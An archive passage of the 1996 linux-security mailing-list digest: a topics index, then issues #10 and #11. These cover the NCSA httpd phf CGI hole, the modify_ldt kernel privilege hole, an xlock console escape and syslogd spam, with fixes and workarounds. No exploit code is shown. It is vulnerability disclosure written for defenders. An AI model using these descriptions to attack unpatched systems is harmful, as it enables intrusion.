[linux-security] Finger Doubt [linux-security] Proper permissions for sendmail/procmail and directories [linux-security] Shadow passwd race condition [linux-security] Re: A SERIOUS security problem!!!! v02.n066: linux-security-digest V2 #66 [linux-security] problem in in.pop3d [linux-security] libc 5.4.7 Re: [linux-security] Shadow passwd race condition Re: [linux-security] problem in in.pop3d Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 [linux-security] Linux firewall with ro fs? Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 Re: [linux-security] Linux firewall with ro fs? [linux-security] CERT Advisory CA-96.22 - Vulnerabilities in bash v02.n067: linux-security-digest V2 #67 [linux-security] Summary: Linux firewall with ro fs? Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 Re: [linux-security] Linux firewall with ro fs? [linux-security] tty chowning Re: [linux-security] Linux firewall with ro fs? Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 [linux-security] telnetd/telnetsnoopd (was Re: libc 5.4.7) Re: [linux-security] libc 5.4.7 [linux-security] Dialup Password Implementation v02.n068: linux-security-digest V2 #68 Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 Re: [linux-security] telnetd/telnetsnoopd (was Re: libc 5.4.7) Re: [linux-security] telnetd/telnetsnoopd (was Re: libc 5.4.7) [linux-security] sshd with a custom shadow /bin/login [linux-security] Attempt to break through ftp Re: [linux-security] Attempt to break through ftp Re[2]: [linux-security] Attempt to break through ftp Re: [linux-security] tty chowning [linux-security] Re: Alinux-securityA Attempt to break through ftp [linux-security] lots of in.comsat calls lately... Re: [linux-security] Attempt to break through ftp v02.n069: linux-security-digest V2 #69 Re: Re[2]: [linux-security] Attempt to break through ftp [linux-security] Re: ftpd bug? Was: bin/1805: Bug in ftpd (fwd) [linux-security] WinNT security? [linux-security] a /tmp solution [linux-security] t bit and symlinks patch [linux-security] Security hole in installation of suidperl from RedHat 4.0 Re: [linux-security] Attempt to break through ftp Re: [linux-security] lots of in.comsat calls lately... Re: [linux-security] Security hole in installation of suidperl from RedHat 4.0 [linux-security] Re: t bit and symlinks patch Re: [linux-security] WinNT security? [linux-security] Re: t bit and symlinks patch Re: [linux-security] WinNT security? v02.n070: linux-security-digest V2 #70 [linux-security] safe ftpd's Re: [linux-security] Re: t bit and symlinks patch Re: [linux-security] WinNT security? [linux-security] ncpmount/ncpumount [linux-security] certifications, etc. [linux-security] NFS, /proc, and nfsd --re-export [linux-security] firewall again Re: [linux-security] safe ftpd's [linux-security] URGENT: Bug in linux networking stack Re: [linux-security] ncpmount/ncpumount Re: [linux-security] Re: t bit and symlinks patch [linux-security] telnetd_exploit source Re: [linux-security] Re: t bit and symlinks patch Re: [linux-security] safe ftpd's [linux-security] Possible compromise? v02.n071: linux-security-digest V2 #71 Re: [linux-security] Re: t bit and symlinks patch [linux-security] Linux and lpd Re: [linux-security] ncpmount/ncpumount [linux-security] Re: [linux-alert] URGENT: Bug in linux networking stack [linux-security] Re: kernel bug -> security problem Re: [linux-security] Re: t bit and symlinks patch Re: [linux-security] WinNT security? Re: [linux-security] Re: t bit and symlinks patch Re: [linux-security] ncpmount/ncpumount Re: [linux-security] Re: t bit and symlinks patch Re: [linux-security] Re: kernel bug -> security problem Re: [linux-security] Re: kernel bug -> security problem Re: [linux-security] safe ftpd's Re: [linux-security] Re: t bit and symlinks patch v02.n072: linux-security-digest V2 #72 Re: [linux-security] Re: kernel bug -> security problem [linux-security] Attack from Crystal.ElectroCity.com Re: [linux-security] Linux and lpd Re: [linux-security] Re: t bit and symlinks patch Re: [linux-security] Re: t bit and symli Re: [linux-security] Re: t bit and symlinks patch [linux-security] do_rlogin problem linux-security-digest/TOPICS100664 1767 1767 45163 6246256246 15373 0ustar majdommajdom[8lgm]-Advisory-26.UNIX.rdist.20-3-1996 v02.n035 [linux-security] /bin/false v02.n030 [linux-security] [8lgm]-Advisory-26.U... v02.n035, v02.n036 [linux-security] [BUG] Vulnerability ... v02.n061 [linux-security] [Fwd: HTTPd 1.5a Sec... v02.n006 [linux-security] [linux-alert] SECURI... v02.n048 [linux-security] [linux-alert] Yet An... v02.n019 [linux-security] A (possibly) crazy i... v02.n045 [linux-security] a /tmp solution v02.n069 [linux-security] about in.identd v02.n039, v02.n040 [linux-security] About suid etc. prog... v02.n055 [linux-security] Accelerated X , mach... v02.n020 [linux-security] ADMIN: LSF Updates, ... v02.n062 [linux-security] Administrative note ... v02.n020 [linux-security] Admin note (recent t... v02.n026, v02.n028, v02.n029, v02.n030 [linux-security] Admin note. v02.n059 [linux-security] Alternative to NIS v02.n040, v02.n041, v02.n042 [linux-security] ANNOUNCE: Shadow + R... v02.n026 [linux-security] Announcement: ONC RP... v02.n009 [linux-security] ANNOUNCEMENT: Secure... v02.n008, v02.n009 [linux-security] Archive/Listing v02.n047 [linux-security] A secure (?) nfs-ser... v02.n032, v02.n033, v02.n034, v02.n035 [linux-security] atoi et al v02.n021 [linux-security] Attack from Crystal.... v02.n072 [linux-security] Attempt to break thr... v02.n068, v02.n069 [linux-security] bash security hole v02.n051, v02.n052, v02.n053, v02.n055, v02.n058 [linux-security] Big hole in sys_modi... v02.n011 [linux-security] Big security hole in... v02.n028, v02.n029, v02.n030, v02.n031 [linux-security] BoS: announcing ypgh... v02.n009 [linux-security] BoS: CERT Advisory C... v02.n033, v02.n034, v02.n035 [linux-security] BoS: Mycroftish desc... v02.n050, v02.n055 [linux-security] BoS: test-cgi proble... v02.n017 [linux-security] BOUNCE linux-securit... v02.n039 [linux-security] Bounds checking prob... v02.n020, v02.n021 [linux-security] CERT#1157 Re: vulner... v02.n056 [linux-security] CERT Advisory CA-96.... v02.n012, v02.n036, v02.n062, v02.n063, v02.n066 [linux-security] certifications, etc. v02.n070 [linux-security] CERT says. v02.n041 [linux-security] CERT Summary CS-96.05 v02.n064 [linux-security] Cfinger v02.n063 [linux-security] Cfinger (Yet more :) v02.n063, v02.n064, v02.n065 [linux-security] chroot (1) security ... v02.n056, v02.n058 [linux-security] CIAC Bulletin G-42:V... v02.n061 [linux-security] Corrected post: Expl... v02.n020 [linux-security] Denial of service in... v02.n019, v02.n020, v02.n021 [linux-security] des_setparity securi... v02.n047 [linux-security] Dialup Password Impl... v02.n067 [linux-security] Dicts .... v02.n048 [linux-security] dip v02.n037, v02.n038 [linux-security] Disabeling symlinks?... v02.n030 [linux-security] do_rlogin problem v02.n072 [linux-security] environment in general v02.n012 [linux-security] ext2fs file attribut... v02.n023 [linux-security] Finger Doubt v02.n062, v02.n063, v02.n064, v02.n065 [linux-security] firewall again v02.n070 [linux-security] Fix available for el... v02.n060 [linux-security] From bugtraq: sendma... v02.n060 [linux-security] FTPd vulnerability a... v02.n043 [linux-security] good character, bad ... v02.n014, v02.n015 [linux-security] GSSAPI for Linux v02.n059, v02.n060 [linux-security] inetd and denial-of-... v02.n047, v02.n049, v02.n051, v02.n052, v02.n053, v02.n054, v02.n055, v02.n056, v02.n057, v02.n058 [linux-security] Inetd problem -followup v02.n020 [linux-security] Is there a final wor... v02.n058 [linux-security] Java security bug (a... v02.n009, v02.n010 [linux-security] joy v02.n036, v02.n037 [linux-security] Kernels 1.3.6[12] br... v02.n007 [linux-security] kmem v02.n040 [linux-security] libc 5.4.7 v02.n066, v02.n067, v02.n068 [linux-security] libc bug exploited t... v02.n020, v02.n021 [linux-security] Linux-kernel bugs in... v02.n043 [linux-security] Linux and lpd v02.n071, v02.n072 [linux-security] Linux firewall with ... v02.n066, v02.n067 [linux-security] Linux NetKit-B update. v02.n041, v02.n042 [linux-security] locate & updatedb v02.n018, v02.n019 [linux-security] Locking consoles. v02.n050 [linux-security] lots of in.comsat ca... v02.n068, v02.n069 [linux-security] LSF: Cryptographic F... v02.n016, v02.n019 [linux-security] LSF Update#11: Vulne... v02.n043 [linux-security] LSF Update#13: Vulne... v02.n057 [linux-security] LYNX-DEV security pr... v02.n055 [linux-security] Minor technical diff... v02.n052 [linux-security] more Java/Netscape h... v02.n009 [linux-security] mount v02.n062 [linux-security] mount/umount realpat... v02.n046 [linux-security] ncpmount/ncpumount v02.n070, v02.n071 [linux-security] NCSA httpd cgi-bin a... v02.n010 [linux-security] NetKit-B-0.07A v02.n042 [linux-security] NFS, /proc, and nfsd... v02.n070 [linux-security] NFS security bug v02.n019 [linux-security] nonroot sendmail v02.n056 [linux-security] Passing the baton v02.n039 [linux-security] password for over 8 ... v02.n059 [linux-security] Patch for 1.2.13 mod... v02.n011 [linux-security] Patch for ytalk-3.2 v02.n021 [linux-security] pgpsendmail v02.n062 [linux-security] Pine security problem v02.n060 [linux-security] pop3d minimal securi... v02.n054 [linux-security] Possible compromise? v02.n070 [linux-security] possible security bu... v02.n057 [linux-security] problem in in.pop3d v02.n066 [linux-security] Problems running cra... v02.n047, v02.n049 [linux-security] Problem with sliplog... v02.n011 [linux-security] Proper permissions f... v02.n065 [linux-security] pty's and utmp - a d... v02.n058, v02.n059, v02.n060 [linux-security] publically writable ... v02.n032 [linux-security] qmail,wu.ftpd,deslog... v02.n046, v02.n047, v02.n048, v02.n049 [linux-security] Radius v02.n041 [linux-security] Radiusd DOS Attacks ... v02.n052 [linux-security] Re: [linux-alert] UR... v02.n071 [linux-security] Re: [linux-alert] Vu... v02.n046 [linux-security] Re: Alinux-securityA... v02.n017, v02.n068 [linux-security] Re: Anon ftp pkg? v02.n049 [linux-security] Re: A secure (?) nf... v02.n034, v02.n035 [linux-security] Re: A SERIOUS securi... v02.n065 [linux-security] Re: Big security hol... v02.n028, v02.n030 [linux-security] Re: BoS: Re: Vulnera... v02.n014 [linux-security] Re: ftpd bug? Was: b... v02.n069 [linux-security] Re: GSSAPI for Linux... v02.n063, v02.n065 [linux-security] Re: identd hole? v02.n038, v02.n039 [linux-security] Re: kernel bug -> se... v02.n071, v02.n072 [linux-security] Re: Kernels 1.3.6[12... v02.n007 [linux-security] Re: linux-security-d... v02.n024 [linux-security] Re: list of setuid p... v02.n042 [linux-security] RE: Little exploit i... v02.n054 [linux-security] Re: LYNX-DEV securit... v02.n056, v02.n057, v02.n058 [linux-security] Re: Mprog Thread v02.n031 [linux-security] Re: password for ove... v02.n060 [linux-security] Re: Possible buffero... v02.n046, v02.n047, v02.n048, v02.n049 [linux-security] Re: RESOLV_HOST_CONF v02.n052, v02.n053, v02.n054, v02.n056 [linux-security] Re: rwhod buffer ove... v02.n049 [linux-security] Re: sendmail-8.7.5 v02.n060 [linux-security] Re: SUDO problems v02.n043, v02.n044 [linux-security] Re: t bit and symli v02.n072 [linux-security] Re: t bit and symlin... v02.n069, v02.n070, v02.n071, v02.n072 [linux-security] Re: Vulnerabilities ... v02.n013 [linux-security] Re: Vulnerability in... v02.n056 [linux-security] Re: Vulnerability li... v02.n049 [linux-security] Re: Vulnrability in ... v02.n046 [linux-security] Re: WARNING: libc/ru... v02.n017 [linux-security] Re: writing setuid p... v02.n039 [linux-security] Re: You wouldn't bel... v02.n036, v02.n037 [linux-security] RedHat 2.1 RPMs for ... v02.n007 [linux-security] Regarding the forwar... v02.n007 [linux-security] Reminder: Please inc... v02.n019 [linux-security] RESOLV_HOST_CONF v02.n052, v02.n054, v02.n055 [linux-security] RESOLV_HOST_CONF (fwd) v02.n052 [linux-security] running a shadowed s... v02.n022 [linux-security] rwhod buffer overflow v02.n050, v02.n051, v02.n052 [linux-security] S/Key and Shadow Pas... v02.n023, v02.n031, v02.n032 [linux-security] safe ftpd's v02.n070, v02.n071 [linux-security] samba 1.9.16p2-2 (Re... v02.n059 [linux-security] samba security hole... v02.n017 [linux-security] Saving Passwords in ... v02.n050, v02.n055 [linux-security] Secure Filesystem v02.n049, v02.n050 [linux-security] Secure Linux Project v02.n008 [linux-security] SecurID White Paper v02.n059 [linux-security] Security bug in logi... v02.n011 [linux-security] Security hole in Abu... v02.n040, v02.n041, v02.n042 [linux-security] Security hole in ins... v02.n069 [linux-security] Security hole in xlock v02.n010 [linux-security] security idea v02.n038, v02.n039 [linux-security] Security problems in... v02.n015, v02.n016, v02.n017 [linux-security] sendmail security v02.n040, v02.n042, v02.n043, v02.n045, v02.n046 [linux-security] sendmail security i v02.n040 [linux-security] sendmail security is... v02.n039, v02.n040 [linux-security] sendmail w/o suid root? v02.n054 [linux-security] Serious Security hol... v02.n023 [linux-security] sh != bash (was "bas... v02.n055 [linux-security] sh-utils-1.12+security v02.n019 [linux-security] Shadow passwd race c... v02.n065, v02.n066 [linux-security] SlackWare 3.0 insecu... v02.n008 [linux-security] sliplogin v02.n038, v02.n039 [linux-security] sliplogin hole expla... v02.n012, v02.n013, v02.n014, v02.n015 [linux-security] slp-charter [Forward... v02.n010 [linux-security] smbmount (and ncpmou... v02.n048 [linux-security] SO_REUSEADDR v02.n022 [linux-security] sshd with a custom s... v02.n068 [linux-security] SSL v02.n024, v02.n025, v02.n026 [linux-security] standard users,grou v02.n031, v02.n032, v02.n033 [linux-security] standard users,group... v02.n024, v02.n025, v02.n026, v02.n027, v02.n028, v02.n029, v02.n030, v02.n032 [linux-security] sudo limiting v02.n031, v02.n032, v02.n033 [linux-security] sudo passwd wrapper v02.n035, v02.n036 [linux-security] SUDO problems v02.n037, v02.n038 [linux-security] Suggestion for Linux... v02.n045 [linux-security] Suid Programs / Help... v02.n055, v02.n056, v02.n057, v02.n058 [linux-security] Summary: Linux firew... v02.n067 [linux-security] Summary re: syslogd ... v02.n011, v02.n012, v02.n013 [linux-security] suspicious users v02.n028, v02.n029, v02.n030, v02.n031, v02.n032, v02.n033, v02.n034, v02.n035 [linux-security] Symlinks as holes (W... v02.n030 [linux-security] Syn flood/IP spoofin... v02.n064 [linux-security] SYN flooding (was in... v02.n054, v02.n057, v02.n058 [linux-security] SYN flooding program v02.n065 [linux-security] syn floods v02.n053 [linux-security] Sysklogd spam v02.n011 [linux-security] Talk security? v02.n029, v02.n030, v02.n031, v02.n032 [linux-security] t bit and symlinks p... v02.n069 [linux-security] TCP Security Bug *RE... v02.n017 [linux-security] TCP Wrappers Syslogging v02.n045, v02.n052 [linux-security] Technical problems..... v02.n013 [linux-security] telnetd/telnetsnoopd... v02.n067, v02.n068 [linux-security] telnetd_exploit source v02.n070 [linux-security] Test SQUAD recruitme... v02.n041 [linux-security] Test squad results o... v02.n043 [linux-security] Things NOT to put in... v02.n022 [linux-security] Thread regarding ~root. v02.n029 [linux-security] Trojan manpages summ... v02.n016 [linux-security] tty chowning v02.n067, v02.n068 [linux-security] two comments.. v02.n014 [linux-security] uhh.. security? v02.n020, v02.n021 [linux-security] updatedb + locate v02.n009 [linux-security] URGENT: Bug in linux... v02.n070 [linux-security] Vulnerabilities in m... v02.n013 [linux-security] Vulnerability in ALL... v02.n045 [linux-security] vulnerability in spl... v02.n052, v02.n054 [linux-security] WARNING: libc/rusero... v02.n017, v02.n018 [linux-security] WinNT security? v02.n069, v02.n070, v02.n071 [linux-security] wordperfect for linux v02.n036 [linux-security] writing setuid progr... v02.n039 [linux-security] wu.ftp, ftpaccess, a... v02.n029, v02.n030, v02.n031, v02.n032 [linux-security] xdm sessions still w... v02.n044 [linux-security] Yet Another Java Hole. v02.n019 [linux-security] ytalk v02.n057 [none] v02.n039 abuse Red Hat 2.1 security hole v02.n006 Aiiiieeee!! v02.n005 Announcement: ONC RPC / NIS security ... v02.n009 Another way to run native code from J... v02.n019 bind() Security Problems v02.n005, v02.n006 BoS: announcing ypghost v02.n009 BoS: CERT Advisory CA-96.12 - Vulnera... v02.n033 BoS: Mycroftish description of bash h... v02.n050 BoS: Re: [linux-security] two comments.. v02.n014 BoS: Re: XFree86 3.1.2 Security Problems v02.n005 CERT Advisory CA-96.07 - Weaknesses i... v02.n012 CORRECTED(!) Linux Security FAQ Updat... v02.n001 dump RedHat security hole v02.n004, v02.n006 Environment Variables (Was Re: [linux... v02.n056, v02.n058 fvwm fix v02.n002 Fwd: [linux-security] security idea v02.n038, v02.n039, v02.n040, v02.n041, v02.n042 HTTPd 1.5a Security Hole!!! v02.n006 Java/JavaScript security breaches v02.n009 Java security bug (applets can load n... v02.n009 Kevin Littlejohn: Re: [linux-security... v02.n054 linux-security-digest V2 #1 v02.n001 linux-security-digest V2 #10 v02.n010 linux-security-digest V2 #11 v02.n011 linux-security-digest V2 #12 v02.n012 linux-security-digest V2 #13 v02.n013 linux-security-digest V2 #14 v02.n014 linux-security-digest V2 #15 v02.n015 linux-security-digest V2 #16 v02.n016 linux-security-digest V2 #17 v02.n017 linux-security-digest V2 #18 v02.n018 linux-security-digest V2 #19 v02.n019 linux-security-digest V2 #2 v02.n002 linux-security-digest V2 #20 v02.n020 linux-security-digest V2 #21 v02.n021 linux-security-digest V2 #22 v02.n022 linux-security-digest V2 #23 v02.n023 linux-security-digest V2 #24 v02.n024 linux-security-digest V2 #25 v02.n025 linux-security-digest V2 #26 v02.n026 linux-security-digest V2 #27 v02.n027 linux-security-digest V2 #28 v02.n028 linux-security-digest V2 #29 v02.n029 linux-security-digest V2 #3 v02.n003 linux-security-digest V2 #30 v02.n030 linux-security-digest V2 #31 v02.n031 linux-security-digest V2 #32 v02.n032 linux-security-digest V2 #33 v02.n033 linux-security-digest V2 #34 v02.n034 linux-security-digest V2 #35 v02.n035 linux-security-digest V2 #36 v02.n036 linux-security-digest V2 #37 v02.n037 linux-security-digest V2 #38 v02.n038 linux-security-digest V2 #39 v02.n039 linux-security-digest V2 #4 v02.n004 linux-security-digest V2 #40 v02.n040 linux-security-digest V2 #41 v02.n041 linux-security-digest V2 #42 v02.n042 linux-security-digest V2 #43 v02.n043 linux-security-digest V2 #44 v02.n044 linux-security-digest V2 #45 v02.n045 linux-security-digest V2 #46 v02.n046 linux-security-digest V2 #47 v02.n047 linux-security-digest V2 #48 v02.n048 linux-security-digest V2 #49 v02.n049 linux-security-digest V2 #5 v02.n005 linux-security-digest V2 #50 v02.n050 linux-security-digest V2 #51 v02.n051 linux-security-digest V2 #52 v02.n052 linux-security-digest V2 #53 v02.n053 linux-security-digest V2 #54 v02.n054 linux-security-digest V2 #55 v02.n055 linux-security-digest V2 #56 v02.n056 linux-security-digest V2 #57 v02.n057 linux-security-digest V2 #58 v02.n058 linux-security-digest V2 #59 v02.n059 linux-security-digest V2 #6 v02.n006 linux-security-digest V2 #60 v02.n060 linux-security-digest V2 #61 v02.n061 linux-security-digest V2 #62 v02.n062 linux-security-digest V2 #63 v02.n063 linux-security-digest V2 #64 v02.n064 linux-security-digest V2 #65 v02.n065 linux-security-digest V2 #66 v02.n066 linux-security-digest V2 #67 v02.n067 linux-security-digest V2 #68 v02.n068 linux-security-digest V2 #69 v02.n069 linux-security-digest V2 #7 v02.n007 linux-security-digest V2 #70 v02.n070 linux-security-digest V2 #71 v02.n071 linux-security-digest V2 #72 v02.n072 linux-security-digest V2 #8 v02.n008 linux-security-digest V2 #9 v02.n009 Linux: dip security hole v02.n003, v02.n004 LSF Update#10: Another correction. v02.n002 LSF Update#11: Vulnerability of rxvt v02.n005 LYNX-DEV security problem with enviro... v02.n055 More find -exec rm dangers was: Re: B... v02.n023 PAM implementation effort.... v02.n001 PAM overview v02.n001 Password checking - JFH the way forwa... v02.n001 Problem with minicom 1.71 v02.n005 Proposal: s[gu]id standards. v02.n004 Re[2]: [linux-security] Attempt to br... v02.n068, v02.n069 Red Hat mh inc/msgchk security hole v02.n004 resizecons Red Hat 2.1 security hole v02.n006 restorefont security hole v02.n003 Satan II v02.n005 Satan II (fwd) v02.n005 SECURITY FIX: New NetKit-B and sliplo... v02.n007 Serious Security hole in getpwnam () v02.n023 Shadow /bin/login security hole v02.n004, v02.n005, v02.n006 Shadow development mailing list v02.n001 slp-charter v02.n010 SUID binaries v02.n004 System log practicalities (was Re: [l... v02.n047, v02.n048, v02.n049, v02.n051, v02.n052, v02.n053 XFree86 3.1.2 Security Problems v02.n004, v02.n005, v02.n006 XFree86 3.1.2 Security Problems (fwd) v02.n006 linux-security-digest/v02.n010100664 1767 1767 24642 6121756221 15443 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #10 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Thursday, 14 March 1996 Volume 02 : Number 010 [linux-security] slp-charter [Forwarded e-mail from Dave G.] [linux-security] NCSA httpd cgi-bin application vulnerability. Re: [linux-security] Java security bug (applets can load native methods) (fwd) [linux-security] Security hole in xlock Re: [linux-security] Security hole in xlock ---------------------------------------------------------------------- From: Jeff Uphoff Date: Wed, 6 Mar 1996 11:48:37 -0500 Subject: [linux-security] slp-charter [Forwarded e-mail from Dave G.] This follows up on some earlier posts here; the project and its associated mailing lists now look to officially be "alive." - --Up. - ------- start of forwarded message (RFC 934 encapsulation) ------- From: "Dave G." To: [email protected], [email protected] Subject: slp-charter Date: Tue, 5 Mar 1996 19:14:30 -0500 (EST) Reply-To: [email protected] slp-charter 03/05/96 Dave G. I. Intent - - ---------- The Secure Linux Project exists to assist the linux community with security related issues. The functions it is to serve may range from advice for system administrators to helping distribution maintainers keep their products secure to development of security related applications and utilities. Another important function of the SLP is to review programs that may affect the security of a linux machine in order to provide an acceptable level of assurance to anyone installing packages that they will not compromise the security of their system. II. Mailing Lists - - ------------------ There are three mailing lists to help various people involved in the Projects: SLP Announcements ----------------- Mailing List Address: [email protected] Subscription Address: [email protected] This list will be used to announce security related applications and reviews written by the SLP. Other developers should feel free to announce their products through this list as well. This list will be moderated. SLP Discussion -------------- Mailing List Address: [email protected] Subscription Address: [email protected] This is a place to discuss various ideas that may assist the SLP. Developers and others interested in security may wish to discuss ideas for future SLP projects on this list as well as discuss matters relating to linux security in general. This list will be loosely moderated. SLP Development --------------- This is for people actively developing security products for linux as part of the Secure Linux Project. This will deal with actual code development as part of the project and as such is limited to those actually participating in the implementations of the projects. General status regarding projects discussed here will be posted to slp-announce-list or slp-discuss-list, and upon completion all efforts of the list will be available to the linux community. If you feel that you should be a part of this list, please e-mail the SLP moderators privately. III. Resources - - --------------- Red Hat has also been generous enough to provide us with resources so that we can have a permanent home for the Secure Linux Project. All of the work that will be done by the Secure Linux Project will be applicable to all distributions of linux, and does not favor any one distribution over another. IV. Contacts - - -------------- Our official e-mail address for the project is: Secure Linux Project If you wish to contact one of the moderators individually, the e-mail addresses are as follows: David J. Meltzer Dave Goldsmith - - -- To unsubscribe: mail -s unsubscribe [email protected] < /dev/null - ------- end ------- ------------------------------ From: Jeff Uphoff Date: Fri, 8 Mar 1996 03:15:51 -0500 Subject: [linux-security] NCSA httpd cgi-bin application vulnerability. If you are running NCSA's httpd WWW server (or, conceivably, someone else's), have compiled the phf.c application found in the NCSA distribution's cgi-src directory, and have installed it into an area designated for cgi-bin applications, please 'chmod a-x' it immediately. (This applies to *at least* the phf.c application as provided with NCSA httpd versions 1.3 and 1.5a-export; I've not inspected the other distributions yet.) Many sites (I've looked around a bit and have had a hit rate of roughly 50% so far, but maybe I'm just "lucky")--including the top-level WWW servers for some large and/or very high-profile domains--appear to have "blindly" installed all of the cgi-src applications provided with NCSA's httpd. The most notable aspect of this particular cgi-bin vulnerability, at least to me, is not so much the vulnerability itself (it's been seen before) but rather its quite widespread nature. This vulnerability allows a remote client to retrieve any world-readable file from the server system, as well as execute commands and create files on the server with the privileges of the euid of the httpd server process. Depending on the server's (mis)configuration, this could conceivably be used as an avenue through which to replace the httpd server binary itself with a trojan--quite possibly to be run as root during the system's next boot cycle. It can also be used, largely independent of the server system's configuration--and rather easily--to gain remote interactive access to the server with the userid that the httpd server runs under. (I'm sure there are lots of other "nifty" possibilities, but I first found out about this a just few waking hours ago and have so far performed only the most basic proof-of-concept exploits.) More details (full disclosure, etc.) to follow on the linux-security list and on Bugtraq.... - --Up. P.S. I'll bet everyone just can't wait for Java! - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ ------------------------------ From: "Anthony C. Zboralski" Date: Fri, 8 Mar 1996 03:15:45 +0100 (MET) Subject: Re: [linux-security] Java security bug (applets can load native methods) (fwd) - -----BEGIN PGP SIGNED MESSAGE----- hum, i saw that the Sun browser Hotjava is also available for linux and that a moz_2.0.zip update was made available on netscape's ftp but i haven't checked them yet. We should try to contact Sami Shaio at Sun who has designed the applet security mechanisms (if there is any).. It is possible to disable java in the Options-Security menu of Netscape. Anthony C. Zboralski, Send a msg to with the command "GET 0x38239E75" in the subject field in order to get my PGP:pub/key. - -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv Comment: PGP 2.6.3i is out, ftp://ftp.ox.ac.uk/pub/crypto/pgp/ iQCVAwUBMT+YR1/59mQ4I551AQE5AgQAgbnDQDeMJHeNO3NeBTgpeQP25bQEH0j8 YSaQmzwz4oJWy0nT0kU966vrFdghPNtRxiQS/CReADrPhwdnraqHwwXRZLXCa5Ke pIncQB9xu+Ck59ag6ZLMll929HhfNq1p/8EO7Lozlrj/IN5/54FkGmWPd3reCg+W kSxgEgCnH4Q= =/I3b - -----END PGP SIGNATURE----- ------------------------------ From: [email protected] (Robert Nichols) Date: Thu, 7 Mar 96 07:06 CST Subject: [linux-security] Security hole in xlock I don't know whether this is Linux-specific, but 'xlock' really should disable Ctrl-Alt-Backspace. If X is started from a login session, C-A-B allows anyone walking up to the keyboard to escape back to the invoking user's login shell unless that user had the foresight to use 'exec' when invoking X. BTW, I'm still running XFree86 2.1.1. I apologize if this has been fixed in a newer release. - -- Bob Nichols [email protected] ------------------------------ From: Jeff Uphoff Date: Mon, 11 Mar 1996 18:29:06 -0500 Subject: Re: [linux-security] Security hole in xlock There have been several followups to this original message: Robert Nichols wrote: > I don't know whether this is Linux-specific, but 'xlock' really should > disable Ctrl-Alt-Backspace. If X is started from a login session, C-A-B > allows anyone walking up to the keyboard to escape back to the invoking > user's login shell unless that user had the foresight to use 'exec' when > invoking X. I am summarizing them in this one post rather than forwarding all of the individual messages to the list: (Several people also noted that you can use Ctrl+Alt+F to switch to another VC and then suspend or kill X to gain access to the console user's login session.) One method to use to address this problem is to run 'xdm' as an init-level process (i.e. from /etc/inittab or from an rc script such as /etc/rc.d/rc.local, or your distribution's equivalent). C-A-D is not disabled in this case, but if someone uses it to blast out of 'xlock' then they are greeted by an 'xdm' login screen and thus do not end up in a user's console login session (since there is no such session). Another method is to add a "DontZap" line to your X11 server configuration file, effectively disabling the C-A-D key-sequence. This is explained the XF86Config(5) manpage: DontZap This disallows the use of the Ctrl+Alt+Backspace sequence. This sequence allows you to terminate the X server. Setting DontZap allows this key sequence to be passed to clients. Credits on this to: Jon Lewis , VC switching. Darin Fisher , using xdm. Michel LESPINASSE , VC switching. Gerald D. Anderson , using xdm. Christian Huettermann , using DontZap. Cy Schubert , using DontZap. Jean-Francois Patenaude , VC switching. Anthony C. Zboralski , using DontZap. ------------------------------ End of linux-security-digest V2 #10 *********************************** linux-security-digest/v02.n011100664 1767 1767 31340 6125602216 15433 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #11 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Monday, 25 March 1996 Volume 02 : Number 011 [linux-security] Sysklogd spam [linux-security] Big hole in sys_modify_ldt [linux-security] Summary re: syslogd spam [linux-security] Patch for 1.2.13 modify_ldt hole [linux-security] Problem with sliplogin on Linux [linux-security] Security bug in login (RedHat 2.1 .30.3) ---------------------------------------------------------------------- From: [email protected] Date: Mon, 18 Mar 1996 10:21:16 +0200 (SAT) Subject: [linux-security] Sysklogd spam My machine (and a few friends on mine as well) 's sysklogd is getting spammed, saying ################################# Mar 18 10:06:57 www1.netscape.com [916406389] Your syslogd is broked! ########################################################################################################################## where www1.netscape.com varies and is a range of hosts. I am getting termendous of these from tcpdump -p 0:06:02.664395 rbit.co.za.echo > www.iuma.com.echo: udp 186 10:06:02.732615 www.iuma.com.echo > rbit.co.za.echo: udp 186 10:06:02.733221 rbit.co.za.echo > www.iuma.com.echo: udp 186 Know what the hack is, and how to fix? tia ciao - -- John Betts, Aztec Internet Services Port Elizabeth, South Africa [email protected], Tel. +27(0)41 303 475, Fax. +27(0)41 301 052 Unix -- The Ultimate Solution for Microsoft Products ------------------------------ From: Marek Michalkiewicz Date: Tue, 19 Mar 1996 21:38:56 +0100 (MET) Subject: [linux-security] Big hole in sys_modify_ldt [mod: I thought this had been brought up on the list before, but I didn't find it in my archive, so I'm just making sure. --okir] Looks like the longest-living Linux security hole, probably serious enough for a CERT advisory... Almost all currently running Linux systems have a bug in the modify_ldt system call, which doesn't do all necessary sanity checks. It allows users to access all kernel memory, and there is an exploit program which uses this to change UID of the parent process to 0. Not pretty. The modify_ldt system call was introduced in 0.99pl11 (!) or so. It is x86-specific (used by Wine) - Linux on non-x86 platforms (Alpha, Sparc, m68k etc.) is not vulnerable. Because this bug is very dangerous, and it affects so many systems, I'm not sure if it is a good idea to post the exploit program here. It has been posted to the linux-kernel development mailing list. This bug has been fixed in 1.3.72. Either upgrade to this (or newer) version, or copy the file arch/i386/kernel/ldt.c from 1.3.72 to your current kernel source, rebuild and install the new kernel ASAP. The patch is also available from the 1.2.13 patches WWW page: http://trishul.sci.gu.edu.au/~tony/linux/patches.html Credits should go to Morten Welinder , who reported this bug on the linux-kernel list. Marek ------------------------------ From: Olaf Kirch Date: Tue, 19 Mar 1996 21:36:02 +0100 Subject: [linux-security] Summary re: syslogd spam There have been quite a number of responses regarding John Betts' message, which I summarize below. Olaf - ------------------- From: [email protected] (Jacob Langseth) syslogd listens on UDP port 516, and will log what it receives to the system logs. [mod: It's port 